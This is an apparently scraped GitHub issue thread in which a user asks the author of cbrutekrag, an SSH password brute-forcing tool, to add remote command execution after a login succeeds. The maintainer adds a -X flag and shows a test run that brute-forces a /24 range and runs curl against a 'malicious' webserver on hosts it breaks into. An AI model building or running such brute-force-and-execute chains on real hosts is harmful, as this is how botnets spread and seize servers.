const char *commandline = command; about cbrutekrag HOT 14 CLOSED

I will work on it. But, it isn't the main purpose of this tool.
I wrote this tool to help to test ssh servers against weak passwords, no more.

It's ok :) . The main reason I / we ask you for this upgrade is to test our servers agains ssh / remote attacks. As we traveled over the internet, we found cbrutekrag, which is the most acurate bf atm.
We've managed to secure ourselves agains TSM,ANCKOn , etc.
Upgrading remote cmd option, will help testing all the vulnerabilities in 1 command.
Thanks a million !

from cbrutekrag.

int main(int argc, char ** argv)
{
if(argc<7)
{
cerr << "Parameters: num-thread username-list.txt host passwd-list.txt port command" << endl;
exit(0);
}
signal(SIGINT,quit);
startTime = clock();

    enabled_sem= true;
    MAX_THREAD = atoi(argv[1]);
    username   = argv[2];
    host       = argv[3];
    passwd     = argv[4];
    port       = argv[5];

command = argv[6];

i guess this is the thing

from cbrutekrag.

cbrutekrag uses libssh, so the correct way to execute remote commands will be something like this:

• First create a channel
• Open a session
• Then send command using ssh_channel_request_exec

from cbrutekrag.

"cbrutekrag uses libssh, so the correct way to execute remote commands will be something like this:

First create a channel
Open a session
Then send command using ssh_channel_request_exec "

So, it means you cannot execute a remote command directly from the main running command ?
so all of this would look like
cbrutekrag arg arg arg -execute -rm etc... arg -p 22 ? i wrote arg as an example of options.

the main thing i'm interested in, is to execute a remote command directly from cbrutekrag . i'm waiting with my fingers crossed :D thanks a million !

from cbrutekrag.

from cbrutekrag.

I will work on it. But, it isn't the main purpose of this tool.
I wrote this tool to help to test ssh servers against weak passwords, no more.

from cbrutekrag.

I've been committed these changes to "feature/remote-command-execution" branch.
Can you test it and give me feedback?

Thanks in advance

from cbrutekrag.

I'm more then grateful for your drive and knowledge ! I'll try it in a moment !

from cbrutekrag.

ooh. i've managed to make it work. let me check now :D sorry for delay

from cbrutekrag.

Ok, i made all the tests but the -x command isn't actually working. It looks like it's working but won't execute the command.

from cbrutekrag.

@metadone666 You're sure about the command isn't executed?
I think that the command is executed on the remote host but doesn't reads the response, because I've implements only the send, but not yet the receive.
Can you send me via email some examples of parameters that you've used?

I've tried something like this:
cbrutekrag -sp 2222 -t 12 -X 'curl http://192.168.100.6/test.txt' 192.168.100.0/24 (Where 192.168.100.6 is a "malicious" webserver, and 192.168.100.0/24 the range where we will look for SSH servers listening on port 2222)
Then, I've noticed that the request is present on webserver's access log, so I've deducted that the command has worked.
I've not tested yet with long-running commands or scripts.

from cbrutekrag.

Ok, i made all the tests but the -x command isn't actually working. It looks like it's working but won't execute the command.

Note that you must use -X (uppercase) as argument

from cbrutekrag.

@metadone666 You're sure about the command isn't executed?
I think that the command is executed on the remote host but doesn't reads the response, because I've implements only the send, but not yet the receive.
Can you send me via email some examples of parameters that you've used?

I've tried something like this:
cbrutekrag -sp 2222 -t 12 -X 'curl http://192.168.100.6/test.txt' 192.168.100.0/24 (Where 192.168.100.6 is a "malicious" webserver, and 192.168.100.0/24 the range where we will look for SSH servers listening on port 2222)
Then, I've noticed that the request is present on webserver's access log, so I've deducted that the command has worked.
I've not tested yet with long-running commands or scripts.

Hello, brother !
I've sent you an email with an example of parameters i've used with cbrutekrag.
Thank you for your focus !

from cbrutekrag.

@metadone666 You're sure about the command isn't executed?
I think that the command is executed on the remote host but doesn't reads the response, because I've implements only the send, but not yet the receive.
Can you send me via email some examples of parameters that you've used?
I've tried something like this:
cbrutekrag -sp 2222 -t 12 -X 'curl http://192.168.100.6/test.txt' 192.168.100.0/24 (Where 192.168.100.6 is a "malicious" webserver, and 192.168.100.0/24 the range where we will look for SSH servers listening on port 2222)
Then, I've noticed that the request is present on webserver's access log, so I've deducted that the command has worked.
I've not tested yet with long-running commands or scripts.

Hello, brother !
I've sent you an email with an example of parameters i've used with cbrutekrag.
Thank you for your focus !

Also, there's a small upgrade that would be awesome. if there's is any possibility to add the option "uname -a" as -u so it will automatically do the uname and -X will be an optional but i guess this will require an auto proxy generator

from cbrutekrag.